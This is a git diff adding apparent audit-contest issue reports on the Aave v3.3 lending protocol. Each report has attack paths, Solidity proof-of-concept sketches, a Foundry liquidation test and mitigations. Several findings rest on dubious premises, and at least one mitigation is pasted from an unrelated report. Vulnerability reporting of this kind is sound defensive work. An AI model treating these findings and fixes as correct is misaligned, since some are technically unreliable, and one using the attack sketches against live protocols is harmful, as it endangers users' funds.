[executeEliminateDeficit()](https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/LiquidationLogic.sol#L96), which is marked as external. While this function is meant to be restricted by the onlyUmbrella modifier in pool.eliminateReserveDeficit(), the external visibility modifier allows any contract or address to call this function. As a result, malicious entities could potentially trigger the logic for burning claims and reducing the reserves' deficits without being the approved Umbrella entity. + +To eliminate deficit, pool.eliminateReserveDeficit() is first triggered as shown below: +```solidity +function eliminateReserveDeficit(address asset, uint256 amount) external override onlyUmbrella { + LiquidationLogic.executeEliminateDeficit( + _reserves, + _usersConfig[msg.sender], + DataTypes.ExecuteEliminateDeficitParams({asset: asset, amount: amount}) + ); + } +``` +onlyUmbrella modifier is used to ensure that burning of claims can only be performed by a permissioned UMBRELLA entity registered on the PoolAddressesProvider. However, the function [executeEliminateDeficit()](https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/LiquidationLogic.sol#L96) called within pool.eliminateReserveDeficit() which contains the logic for burning of claims is marked external. This means unauthorized entities can easily bypass the check in pool.eliminateReserveDeficit() by calling [executeEliminateDeficit()](https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/LiquidationLogic.sol#L96) directly. + +As seen here, there is no access control to restrict this function from being called by unauthorized users: + +```solidity +function executeEliminateDeficit( + mapping(address => DataTypes.ReserveData) storage reservesData, + DataTypes.UserConfigurationMap storage userConfig, + DataTypes.ExecuteEliminateDeficitParams memory params + ) external { + require(params.amount != 0, Errors.INVALID_AMOUNT); + + DataTypes.ReserveData storage reserve = reservesData[params.asset]; + uint256 currentDeficit = reserve.deficit; +``` + +https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/pool/Pool.sol#L844 + +https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/LiquidationLogic.sol#L96 + +### Internal Pre-conditions + +The executeEliminateDeficit function called through pool.eliminateReserveDeficit() is externally callable. + +### External Pre-conditions + +An unauthorized user directly calls [executeEliminateDeficit()](https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/LiquidationLogic.sol#L96) + +### Attack Path + +1. A malicious user calls executeEliminateDeficit directly because it is marked external. +2. The attacker bypasses the access control provided by onlyUmbrella. +3. The attacker executes the deficit elimination process, successfully burning claims and modifying the reserve's deficit balance, which should be controlled by the permissioned Umbrella entity. +4. If this logic is abused, it could lead to incorrect adjustments to the reserve balances and the improper management of the deficit, resulting in potential financial loss and protocol instability. + +### Impact + +1. Unauthorized access to burning claim leading to financial loss. +2. Breaking of invariant. + +### PoC + +_No response_ + +### Mitigation + +The function executeEliminateDeficit should be marked as internal or private to restrict access to only the contract and entities explicitly allowed + +```solidity + function executeEliminateDeficit( + mapping(address => DataTypes.ReserveData) storage reservesData, + DataTypes.UserConfigurationMap storage userConfig, + DataTypes.ExecuteEliminateDeficitParams memory params + ) internal { // Change to internal instead of external + // Function logic here + } +``` \ No newline at end of file diff --git a/186.md b/186.md new file mode 100644 index 0000000..d78a153 --- /dev/null +++ b/186.md @@ -0,0 +1,95 @@ +Quick Plastic Crane + +Medium + +# Exploit Potential via Arbitrary EMode Category Switching + +### Summary + +The ability for users to switch between EMode categories arbitrarily allows them to exploit differences in collateralization and borrowing parameters. Specifically, users can initially borrow assets under one EMode category with restrictive parameters (e.g., lower LTV) and then switch to another category with more favorable parameters (e.g., higher liquidation thresholds or benefits). + + + +### Root Cause + +The root cause lies in the lack of restriction on switching EMode categories after borrowing. The protocol does not enforce checks to prevent users from benefiting unfairly by altering their risk profile via category changes post-borrowing. + +https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/pool/Pool.sol#L770C12-L770C24 + + + +### Internal Pre-conditions + +_No response_ + +### External Pre-conditions + +_No response_ + +### Attack Path + +1. **Initial State:** + - Alice selects **Category One**: + - ltv = 95% + - liquidationThreshold = 96% + - liquidationBonus = 1.01x + - Alice supplies 1 WBTC (amount = 1e8) and borrows 6 WETH (borrowAmount = 6e18) under these parameters. + +2. **Switching Exploit:** + - Alice switches to **Category Two**: + - ltv = 96% + - liquidationThreshold = 97% + - liquidationBonus = 1.015x + - The new EMode category increases Alice's liquidation threshold and reduces her risk of liquidation. + +3. **Result:** + - Alice effectively increases her borrowing capacity without adding more collateral. + - If market prices change, Alice enjoys additional leeway before liquidation occurs. + + +### Impact + +1. Exploiting EMode categories allows users to bypass intended risk constraints, undermining fair lending and borrowing conditions. +2. Potential Protocol Deficits: malicious users can exploit this to intentionally incur deficit for the protocol. e.g + - moving from category2 to cartegory1 when the liquidaton threashold of cartegory 1 has passed. + +### PoC + +paste in tests/protocol/pool/Pool.Liquidations.t.sol +```solidity +function test_mytest3() public { + EModeCategoryInput memory ct = _genCategoryOne(); + EModeCategoryInput memory ct2 = _genCategoryTwo(); + + vm.startPrank(poolAdmin); + contracts.poolConfiguratorProxy.setEModeCategory(ct.id, ct.ltv, ct.lt, ct.lb, ct.label); + contracts.poolConfiguratorProxy.setAssetCollateralInEMode(tokenList.wbtc, ct.id, true); + contracts.poolConfiguratorProxy.setAssetCollateralInEMode(tokenList.weth, ct.id, true); + contracts.poolConfiguratorProxy.setAssetBorrowableInEMode(tokenList.weth, ct.id, true); + + contracts.poolConfiguratorProxy.setEModeCategory(ct2.id, ct2.ltv, ct2.lt, ct2.lb, ct2.label); + contracts.poolConfiguratorProxy.setAssetCollateralInEMode(tokenList.wbtc, ct2.id, true); + contracts.poolConfiguratorProxy.setAssetCollateralInEMode(tokenList.weth, ct2.id, true); + contracts.poolConfiguratorProxy.setAssetBorrowableInEMode(tokenList.weth, ct2.id, true); + vm.stopPrank(); + + uint256 amount = 1e8; + uint256 borrowAmount = 6e18; + + vm.startPrank(alice); + contracts.poolProxy.setUserEMode(ct.id); + + contracts.poolProxy.supply(tokenList.wbtc, amount, alice, 0); + contracts.poolProxy.borrow(tokenList.weth, borrowAmount, 2, 0, alice); + vm.stopPrank(); + + vm.prank(alice); + contracts.poolProxy.setUserEMode(ct2.id); + } +``` + +### Mitigation + +Restrict EMode Switching with Outstanding Debt +- Prevent users from changing EMode categories if they have active borrow positions. +- Require users to repay all debt or adjust their positions to fit the new category parameters before switching. \ No newline at end of file diff --git a/187.md b/187.md new file mode 100644 index 0000000..cab0c2d --- /dev/null +++ b/187.md @@ -0,0 +1,86 @@ +Fast Scarlet Beaver + +High + +# Attackers can manipulate oracle prices through flash loans + +### Summary + +Oracle price manipulation through flash loans will cause incorrect debt valuations since the borrow validation relies on oracle prices without flash loan protection + + +### Root Cause + +The executeRepay() function lacks flash loan protection when validating repayment amounts and prices in ValidationLogic.validateRepay() + +in (https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/BorrowLogic.sol#L78-L96) Price validation happens here without flash loan checks + +In (https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/BorrowLogic.sol#L190-L195) Interest rate updates that could be manipulated + + + +### Internal Pre-conditions + +1. Attacker needs to have ability to take flash loans +2. Oracle prices must not have flash loan protection +3. Asset must have sufficient liquidity in lending pools + +### External Pre-conditions + +_No response_ + +### Attack Path + +1. Attacker takes large flash loan of the collateral asset +2. Manipulates oracle price through large trades +3. Uses manipulated price to borrow at advantageous rates +4. Repays flash loan +5. Profits from price discrepancy + +### Impact + +* Protocol could suffer large losses as attackers can: + - Borrow more than their collateral should allow + - Manipulate liquidation thresholds + - Extract value through price manipulation + +### PoC + +```solidity +contract FlashLoanAttack { + function executeAttack() external { + // 1. Take flash loan + uint256 flashAmount = 1000000 ether; + flashLender.borrow(flashAmount); + + // 2. Manipulate price + swapExact(flashAmount, router); + + // 3. Borrow with manipulated price + borrowLogic.executeBorrow(...); + + // 4. Repay flash loan + flashLender.repay(flashAmount); + } +} +``` + +### Mitigation + +```solidity +// Add to BorrowLogic.sol +uint256 private constant FLASH_LOAN_GRACE_PERIOD = 1; // 1 block + +mapping(address => uint256) private lastBorrowBlock; + +function executeBorrow(...) external { + // Add flash loan protection + require( + block.number > lastBorrowBlock[params.onBehalfOf] + FLASH_LOAN_GRACE_PERIOD, + "FLASH_LOAN_GRACE_PERIOD" + ); + lastBorrowBlock[params.onBehalfOf] = block.number; + + // Rest of the function... +} +``` diff --git a/188.md b/188.md new file mode 100644 index 0000000..51e9d78 --- /dev/null +++ b/188.md @@ -0,0 +1,80 @@ +Fast Steel Cormorant + +Medium + +# Debt Unit Mismatch Leading to Dust Accumulation + +## Summary and Impact + +This vulnerability arises when the protocol internally stores and processes debt with a different scale than the standard 18-decimal ERC20 format. Specifically, the system might represent a debt amount like `0.35e18` as an integer `35`, never converting it back before performing repay logic. As a result, a portion of the user’s debt, referred to as “dust,” remains even after a full repay or liquidation. + +**Why It Matters**: +- **Accounting Errors**: Users are left with a nonzero residual balance, violating the protocol’s core invariant that a complete repay should reset debt to zero. +- **Inconsistent User Status**: A user expecting a fully settled loan is still flagged as a borrower, potentially blocking further actions (e.g., withdrawing collateral). +- **Potential Under-/Over-Repayment**: If the mismatch is large enough, the protocol may lose revenue (under-repayment) or users might overpay, suffering from a silent loss. + +In the project’s documentation, the protocol emphasizes robust debt accounting and the importance of consistent user states. This mismatch undermines those assumptions, making it a **medium**-severity issue: impactful enough to cause ongoing accounting confusion, yet not catastrophic in a single transaction. + +--- + +## Vulnerability Details + +This bug resides in how the protocol interprets debt amounts that have been scaled down or up for interest accrual. When it should re-scale them back to the standard `18-decimal` representation, the code omits this step, leaving a fractional remainder (dust). + +1. **Mismatched Scaling**: The protocol uses internal integer representations (e.g., `35`) to denote what should be `0.35e18` tokens. +2. **Unconverted During Repay**: When a user repays, the code does not re-scale `35` back to `0.35e18`, resulting in leftover dust. +3. **Ongoing Flag**: Users continue to appear as borrowers due to that dust. Even if it’s a tiny fraction, it conflicts with the documentation stating a full repay resets the debt balance to zero. + +### Code Snippet + +Consider a snippet of **`BorrowLogic.sol -> executeRepay()`** where the protocol calculates the repayment amount but never transforms it back to the correct 18-decimal format: + +https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/BorrowLogic.sol#L154-L234 + + +**Root Cause**: If `variableDebt` is an integer storing scaled “partial decimals,” it doesn’t match the user’s actual 18-decimal debt. The leftover dust prevents a zero-out. + +#### Test Code Snippet + +Below is a compressed Foundry test that demonstrates the mismatch. After a borrow of an amount like `333333333000000000` (333.333333 tokens) and a repay, the leftover debt remains: + +```solidity +function testDustRepayment() public { + // 1) Borrow an odd decimal amount + uint256 oddAmount = 333333333000000000; // 333.333333 tokens + // (Borrow logic omitted for brevity) + + // 2) Attempt full repay + // repay(asset, oddAmount, VARIABLE_RATE, user); + + // 3) Check leftover dust + uint256 leftover = getUserVariableDebt(user); + require(leftover > 0, "Dust mismatch not reproduced!"); +} +``` + +**Step-by-Step**: +1. The user borrows a non-round debt amount that cannot neatly divide by the scaling factor. +2. A subsequent repay attempts to pay off everything. +3. Internally, the system remains with an integer remainder—thus “dust” leftover. +4. The user remains flagged as having a debt. + +This breaks the protocol’s expectation that a user with no further borrow intentions should have a debt of exactly zero. + +--- + +## Tools Used +- **Manual Review** +- **Foundry** + +--- + +## Recommendations + +1. **Re-Scale All Repay Amounts** + - Before invoking `burn(...)`, ensure the protocol interprets the user’s debt in the correct 18-decimal format. + - For instance, if the internal value `35` represents `0.35e18`, convert it back before passing it to the debt-token contract. + +2. **Post-Repay Dust Check** + - After the `burn` operation, if the leftover debt is below a minimal threshold (`1 wei` or another small epsilon in scaled form), set it to zero. This ensures that minor rounding does not linger. + diff --git a/189.md b/189.md new file mode 100644 index 0000000..4567392 --- /dev/null +++ b/189.md @@ -0,0 +1,86 @@ +Fast Scarlet Beaver + +High + +# Attackers can bypass isolation mode debt ceiling + +### Summary + +Incorrect debt ceiling accounting in isolation mode will allow debt ceiling bypass as concurrent transactions can race condition the `isolationModeTotalDebt` update + + +### Root Cause + +In executeBorrow(), the isolation mode debt ceiling check happens before debt is added, creating a race condition + +Race condition in isolation mode check +https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/BorrowLogic.sol#L73-L76 + +Debt ceiling update happens after validation +https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/BorrowLogic.sol#L109-L114 + + + + + +### Internal Pre-conditions + +1. Isolation mode must be active for an asset +2. Multiple transactions must be submitted concurrently +3. Asset must be near its debt ceiling + +### External Pre-conditions + +_No response_ + +### Attack Path + +1. Attacker identifies asset near debt ceiling +2. Submits multiple borrow transactions concurrently +3. Each transaction passes ceiling check before others complete +4. Total borrowed amount exceeds ceiling + +### Impact + +* Protocol risk parameters are bypassed: + - Isolation mode becomes ineffective + - More debt than allowed is created + - Risk models become invalid + +### PoC + +```solidity +contract IsolationModeAttack { + function executeAttack() external { + // Deploy multiple transactions + for (uint i = 0; i < 5; i++) { + // Each checks ceiling before others complete + borrowLogic.executeBorrow(...); + } + } +} +``` + +### Mitigation + +```solidity +// Add to BorrowLogic.sol +modifier isolationModeCheck(address asset, uint256 amount) { + // Get state before any changes + (bool isActive, address collateralAsset, uint256 ceiling) = + userConfig.getIsolationModeState(reservesData, reservesList); + + if (isActive) { + uint256 currentDebt = reservesData[collateralAsset].isolationModeTotalDebt; + uint256 newDebt = (amount / 10 ** (reserveCache.reserveConfiguration.getDecimals() - + ReserveConfiguration.DEBT_CEILING_DECIMALS)).toUint128(); + + require(currentDebt + newDebt <= ceiling, "DEBT_CEILING_EXCEEDED"); + } + _; +} + +function executeBorrow(...) external isolationModeCheck(params.asset, params.amount) { + // Rest of the function... +} +``` diff --git a/190.md b/190.md new file mode 100644 index 0000000..a85e1d6 --- /dev/null +++ b/190.md @@ -0,0 +1,263 @@ +Macho Tartan Finch + +Medium + +# Liquidation is not possible in certain conditions with eMode + +### Summary + +Liquidation is not possible in certain conditions with eMode. If the HF value is lower than specific point in eMode usage. eMode allows user to borrow more amount of funds with high LTV and high liquidation threshold. + +For instance currently, 0.95 LT and 1.01 Liquidation Bonus is used in [Aave live eMode configuration](https://app.aave.com/reserve-overview/?underlyingAsset=0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2&marketName=proto_mainnet_v3). + +### Root Cause + +Mathematically, there is a strong relation between $LT * Bonus$ and HF. + +We can say that if following condition meets the bad debt is already created: +> All the numbers are in base currency +```math +Debt * Bonus > Collateral +``` +We can also define HF as: +```math +(LT * Collateral) / Debt = HF +``` +Then: + +$$Bonus > Collateral / Debt$$ + +$$HF / LT = Collateral / Debt$$ + +$$Bonus > HF / LT$$ + +$$Bonus * LT > HF$$ + +In conclusion if $Bonus * LT > HF$ the bad debt is already created + +Currently, live Aave configuration is using 0.95 LT and 1.01 Bonus. $0.95 * 1.01 = 0.9595$. We also know that positions can be liquidated up to 50% if the HF is between 0.95 and 1 level. Therefore, we can say that bad debt will occur if HF is between 0.95 and 0.9595 and it can only liquidate up to 50% of the debt. + +This is not a big problem because after liquidation the debt will decrease significantly and after reaching below to 2000e8 ( MIN_BASE ) point, we can fully liquidate the position. + +But this is not possible in certain cases because bad debt may lower the collateral amount below MIN_LEFTOVER point and it may revert. + +[Reference1](https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/LiquidationLogic.sol#L325C1-L345C6) +[Reference2](https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/LiquidationLogic.sol#L260) +```solidity + // to prevent accumulation of dust on the protocol, it is enforced that you either + // 1. liquidate all debt + // 2. liquidate all collateral + // 3. leave more than MIN_LEFTOVER_BASE of collateral & debt + if ( + vars.actualDebtToLiquidate < vars.userReserveDebt && + vars.actualCollateralToLiquidate + vars.liquidationProtocolFeeAmount < + vars.userCollateralBalance + ) { + bool isDebtMoreThanLeftoverThreshold = ((vars.userReserveDebt - vars.actualDebtToLiquidate) * + vars.debtAssetPrice) / + vars.debtAssetUnit >= + MIN_LEFTOVER_BASE; + + bool isCollateralMoreThanLeftoverThreshold = ((vars.userCollateralBalance - + vars.actualCollateralToLiquidate - + vars.liquidationProtocolFeeAmount) * vars.collateralAssetPrice) / + vars.collateralAssetUnit >= + MIN_LEFTOVER_BASE; + } +``` + + +### Internal Pre-conditions + +```math +HF < LT * Bonus +``` + +### External Pre-conditions + +_No response_ + +### Attack Path + +1. At mentioned point liquidation won't be possible +2. Liquidators should wait until HF goes down below 0.95 level or HF should be increased by the borrower +3. Of course second one is not an option here, waiting for HF will cause loss of funds because it will create more deficit + +### Impact + +Liquidation is not possible in mentioned situation, liquidation call will revert due to bad debt. It creates DoS attack vector in time-sensitive function. It may cause loss of funds in the end. + +### PoC + +Following PoC fuzz test will find an edgecase scenario which cause revert due to error 103 ( MUST_NOT_LEAVE_DUST ): + +Add this test to Pool.Liquidations.CloseFactor.t.sol file + +Add following lines to LiquidationLogic.sol for logging ( also import forge-std/console2 ): + +```diff + if ( + vars.actualDebtToLiquidate < vars.userReserveDebt && + vars.actualCollateralToLiquidate + vars.liquidationProtocolFeeAmount < + vars.userCollateralBalance + ) { + bool isDebtMoreThanLeftoverThreshold = ((vars.userReserveDebt - vars.actualDebtToLiquidate) * + vars.debtAssetPrice) / + vars.debtAssetUnit >= + MIN_LEFTOVER_BASE; + + bool isCollateralMoreThanLeftoverThreshold = ((vars.userCollateralBalance - + vars.actualCollateralToLiquidate - + vars.liquidationProtocolFeeAmount) * vars.collateralAssetPrice) / + vars.collateralAssetUnit >= + MIN_LEFTOVER_BASE; + ++ console2.log("isCollateralMoreThanLeftoverThreshold :",isCollateralMoreThanLeftoverThreshold); ++ console2.log("isDebtMoreThanLeftoverThreshold :",isDebtMoreThanLeftoverThreshold); ++ console2.log("Leaving collat: %8e",((vars.userCollateralBalance - ++ vars.actualCollateralToLiquidate - ++ vars.liquidationProtocolFeeAmount) * vars.collateralAssetPrice) / ++ vars.collateralAssetUnit); ++ console2.log("Leaving debt: %8e", ((vars.userReserveDebt - vars.actualDebtToLiquidate) * ++ vars.debtAssetPrice) / ++ vars.debtAssetUnit); + require( + isDebtMoreThanLeftoverThreshold && isCollateralMoreThanLeftoverThreshold, + Errors.MUST_NOT_LEAVE_DUST + ); + } +``` + +Also change the configuration of USDX in reserve for eMode configuration ( in AaveV3TestListing.sol file) : + +```solidity + // change the configuration of USDX + listingsCustom[0] = IEngine.ListingWithCustomImpl( + IEngine.Listing({ + asset: USDX_ADDRESS, + assetSymbol: 'USDX', + priceFeed: USDX_MOCK_PRICE_FEED, + rateStrategyParams: rateParams, + enabledToBorrow: EngineFlags.ENABLED, + borrowableInIsolation: EngineFlags.DISABLED, + withSiloedBorrowing: EngineFlags.DISABLED, + flashloanable: EngineFlags.ENABLED, + ltv: 82_50, + liqThreshold: 95_00, + liqBonus: 1_00, + reserveFactor: 10_00, + supplyCap: 0, + borrowCap: 0, + debtCeiling: 0, + liqProtocolFee: 10_00 + }), + IEngine.TokenImplementations({ + aToken: ATOKEN_IMPLEMENTATION, + vToken: VARIABLE_DEBT_TOKEN_IMPLEMENTATION + }) + ); +``` + +Command : `forge test --match-test test_fuzz_wrong_state -vv` + +```solidity + /// forge-config: default.fuzz.show-logs = true + /// forge-config: default.fuzz.runs = 10000 + function test_fuzz_wrong_state(uint256 debtAmount, uint256 hf, uint256 collatA) public { + uint256 hf = bound(hf, 9545e14, 9594e14); + uint256 debtAmount = bound(debtAmount, 1950e18, 2050e18); + uint256 collatA = bound(collatA, 1950e6, 2050e6); + uint256 conf = contracts.poolProxy.getConfiguration(tokenList.usdx).data; + uint256 lt = (conf & 0x00000000000000000000000000000000000000000000000000000000FFFF0000) >> 16; + + // For changing the indexes from 1 to floating number + vm.startPrank(whale); + IERC20Detailed(tokenList.usdx).approve(address(contracts.poolProxy), type(uint256).max); + contracts.poolProxy.borrow(tokenList.usdx, 1e12, 2, 0, whale); + vm.stopPrank(); + + vm.warp(block.timestamp + 365 days); + + _supplyToPool(tokenList.usdx, bob, collatA); + + vm.mockCall( + address(contracts.aaveOracle), + abi.encodeWithSelector(IPriceOracleGetter.getAssetPrice.selector, tokenList.weth), + abi.encode(0) + ); + vm.prank(bob); + contracts.poolProxy.borrow(tokenList.weth, debtAmount, 2, 0, bob); + vm.clearMockedCalls(); + + vm.warp(block.timestamp + 700 days); + + // collatPrice calculation for simulating 2000e8 debt worth with desired HF + // divide by 1e14 is used for stabilizing the decimal between HF and LT (LT 1e4 base, HF 1e18 base) + uint256 collatPrice = 1e6 * hf * 2000e8 / ( lt * collatA * 1e14); + + // debtPrice calculation for simulating 2000e8 debt worth with desired HF + // multiply by 1e14 is used for stabilizing the decimal between HF and LT (LT 1e4 base, HF 1e18 base) + uint256 debtPrice = collatA * collatPrice * lt * 1e18 * 1e14 / (hf * debtAmount * 1e6); + + + vm.mockCall( + address(contracts.aaveOracle), + abi.encodeWithSelector(IPriceOracleGetter.getAssetPrice.selector, tokenList.weth), + abi.encode(debtPrice) + ); + vm.mockCall( + address(contracts.aaveOracle), + abi.encodeWithSelector(IPriceOracleGetter.getAssetPrice.selector, tokenList.usdx), + abi.encode(collatPrice) + ); + + (uint256 realCollatAmount, uint256 realDebtAmount, , , , uint256 hfReal) = contracts.poolProxy.getUserAccountData(bob); + + // Double Check + console2.log("Collateral Amount with Unit: %6e", collatA); + console2.log("Debt Amount with Unit: %18e", debtAmount); + console2.log("Collat Price: %8e", collatPrice); + console2.log("Debt Price: %8e", debtPrice); + console2.log("Real HF: %18e", hfReal); + console2.log("Desired HF ( Can be higher than the real HF due to interest ): %18e", hf); + console2.log("RealDebtAmount: %8e", realDebtAmount); + console2.log("RealCollatAmount: %8e", realCollatAmount); + + vm.startPrank(liquidator); + IERC20Detailed(tokenList.weth).approve(address(contracts.poolProxy), type(uint256).max); + contracts.poolProxy.liquidationCall(tokenList.usdx, tokenList.weth, bob, type(uint256).max, false); +``` + +Output: + +```console + Bound result 954500000000000000 + Bound result 2000000000001202986602 + Bound result 1972149009 + Collateral Amount with Unit: 1972.149009 + Debt Amount with Unit: 2000.000000001202986602 + Collat Price: 1.01892589 + Debt Price: 0.99999999 + Real HF: 0.954174780384122213 + Desired HF ( Can be higher than the real HF due to interest ): 0.9545 + RealDebtAmount: 2000.6819836 + RealCollatAmount: 2009.47399192 + isCollateralMoreThanLeftoverThreshold : false + isDebtMoreThanLeftoverThreshold : true + Leaving collat: 999.12959052 + Leaving debt: 1000.3409918 + +Suite result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 143.98ms (22.02ms CPU time) + +Ran 1 test suite in 152.03ms (143.98ms CPU time): 0 tests passed, 1 failed, 0 skipped (1 total tests) + +Failing tests: +Encountered 1 failing test in tests/protocol/pool/Pool.Liquidations.CloseFactor.t.sol:PoolLiquidationCloseFactorTests +[FAIL: revert: 103; counterexample: calldata=0xdc21b5f60000000000000000000000000000000000000000000000000000000047b41e5600000000000000000000000000000000000000000000000000000000000000001bc7e0b9edc701f342bbfda95635f906055b4a14bfda2a98a43a4246f0547627 args=[1202986582 [1.202e9], 0, 12565600481451785587908446371263567056398965197496007045610761804412894869031 [1.256e76]]] test_fuzz_wrong_state(uint256,uint256,uint256) (runs: 3, μ: 1010869, ~: 1010870) +``` + + + +### Mitigation + +Reduce LT * Bonus below to 0.95 level or implement another logic which increase the close factor to 100% in guaranteed bad debt scenarios. \ No newline at end of file diff --git a/191.md b/191.md new file mode 100644 index 0000000..6b4683f --- /dev/null +++ b/191.md @@ -0,0 +1,105 @@ +Fast Scarlet Beaver + +Medium + +# Attackers can manipulate interest rates through supply/borrow cycling + +### Summary + +Interest rate calculation vulnerability allows rate manipulation as `updateInterestRatesAndVirtualBalance` can be gamed through rapid supply/borrow cycles + + + +### Root Cause + +The `updateInterestRatesAndVirtualBalance` function updates rates based on momentary utilization without time-weighted averaging + +function executeBorrow(...) external { + +Interest rate update without cooldown +https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/BorrowLogic.sol#L121-L126 + + + +function executeRepay(...) external { + +Interest rate manipulation in repay +https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/BorrowLogic.sol#L190-L195 + + + + + + +### Internal Pre-conditions + +1. Asset must have variable interest rates +2. Market must have sufficient liquidity +3. Gas costs must be lower than potential profit + +### External Pre-conditions + +_No response_ + +### Attack Path + +1. Attacker supplies large amount of asset +2. Takes out borrows to spike utilization +3. Waits for rates to update +4. Repays and repeats + +### Impact + +* Protocol interest rates can be manipulated: + - Users pay incorrect rates + - Yield farming strategies disrupted + - Economic model destabilized + +### PoC + +```solidity +contract InterestRateAttack { + function executeAttack() external { + // Cycle of supply/borrow + for (uint i = 0; i < 10; i++) { + // Supply + token.approve(address(pool), amount); + pool.supply(address(token), amount); + + // Borrow to spike rates + borrowLogic.executeBorrow(...); + + // Wait for rate update + skip(1); + + // Repay and withdraw + borrowLogic.executeRepay(...); + pool.withdraw(address(token), amount); + } + } +} +``` + +### Mitigation + +```solidity +// Add to BorrowLogic.sol +modifier isolationModeCheck(address asset, uint256 amount) { + // Get state before any changes + (bool isActive, address collateralAsset, uint256 ceiling) = + userConfig.getIsolationModeState(reservesData, reservesList); + + if (isActive) { + uint256 currentDebt = reservesData[collateralAsset].isolationModeTotalDebt; + uint256 newDebt = (amount / 10 ** (reserveCache.reserveConfiguration.getDecimals() - + ReserveConfiguration.DEBT_CEILING_DECIMALS)).toUint128(); + + require(currentDebt + newDebt <= ceiling, "DEBT_CEILING_EXCEEDED"); + } + _; +} + +function executeBorrow(...) external isolationModeCheck(params.asset, params.amount) { + // Rest of the function... +} +``` diff --git a/192.md b/192.md new file mode 100644 index 0000000..c81f25c --- /dev/null +++ b/192.md @@ -0,0 +1,60 @@ +Quick Plastic Crane + +Medium + +# Incorrect Supply Cap Verification Due to Mixing Scaled and Unscaled Values + +### Summary + +The current verification logic for checking against the `supplyCap` incorrectly combines scaled and unscaled values. Specifically, the scaled total supply of `IAToken` is directly added to unscaled values (`reserve.accruedToTreasury` and `amount`). This mismatch can lead to incorrect validation outcomes, potentially allowing the supply cap to be exceeded or preventing legitimate supply operations. + + + +### Root Cause + +The verification logic does not account for the scaling of the `scaledTotalSupply` value. The `scaledTotalSupply` represents a scaled amount, while other values in the comparison (`reserve.accruedToTreasury.rayMul(reserveCache.nextLiquidityIndex)`, `amount`, and `supplyCap`) are unscaled. Adding these values without proper scaling leads to an inconsistency. +https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/ValidationLogic.sol#L81-L87 + + + +### Internal Pre-conditions + +_No response_ + +### External Pre-conditions + +_No response_ + +### Attack Path + +**Supply Beyond Cap:** + +If the scaled supply value is larger than expected, the incorrect logic may fail to detect when the supply cap is exceeded, allowing users to supply beyond the intended limit. + +### Impact + +Risk of Exceeding Supply Cap: The protocol may allow more assets to be supplied than the configured cap. the supply will exceed the cap intended by the protocol + +### PoC + +_No response_ + +### Mitigation + +```diff +- require( +- supplyCap == 0 || +- ((IAToken(reserveCache.aTokenAddress).scaledTotalSupply() + +- uint256(reserve.accruedToTreasury)).rayMul(reserveCache.nextLiquidityIndex) + amount) <= +- supplyCap * (10 ** reserveCache.reserveConfiguration.getDecimals()), +- Errors.SUPPLY_CAP_EXCEEDED +- ); + ++ require( ++ supplyCap == 0 || ++ ((IAToken(reserveCache.aTokenAddress).scaledTotalSupply().rayMul(reserveCache.nextLiquidityIndex) + ++ uint256(reserve.accruedToTreasury)).rayMul(reserveCache.nextLiquidityIndex) + amount) <= ++ supplyCap * (10 ** reserveCache.reserveConfiguration.getDecimals()), ++ Errors.SUPPLY_CAP_EXCEEDED ++ ); +``` \ No newline at end of file diff --git a/193.md b/193.md new file mode 100644 index 0000000..8f2caf8 --- /dev/null +++ b/193.md @@ -0,0 +1,93 @@ +Fast Scarlet Beaver + +High + +# Attackers will corrupt user configuration state through parallel transactions + +### Summary + +Race condition in user configuration updates will allow state corruption as `setBorrowing` and `setUsingAsCollateral` can be manipulated in parallel + + +### Root Cause + +`UserConfiguration` updates in `executeRepay()` are not atomic and can be interleaved with other operations + + +function executeRepay(...) external { + +Non-atomic state updates +https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/BorrowLogic.sol#L197-L198 + +Potential race condition in collateral update +https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/BorrowLogic.sol#L218-L220 + + + + +### Internal Pre-conditions + +1. User must have both borrow and supply positions +2. Multiple transactions must be possible in parallel +3. Asset must be used as collateral + +### External Pre-conditions + +_No response_ + +### Attack Path + +1. Submit repay transaction that will clear borrow flag +2. Before it completes, submit new borrow +3. State becomes corrupted as operations interleave +4. User configuration shows no borrows despite active debt + +### Impact + +* Protocol state becomes corrupted: + - Incorrect borrow tracking + - Failed liquidations + - Impossible to properly close positions + +### PoC + +```solidity +contract StateCorruptionAttack { + function executeAttack() external { + // Start repay + borrowLogic.executeRepay(...); + + // Interleave with new borrow + borrowLogic.executeBorrow(...); + + // State is now corrupted + assert(userConfig.isBorrowing() == false); + assert(variableDebtToken.balanceOf() > 0); + } +} +``` + +### Mitigation + +```solidity +// Add to 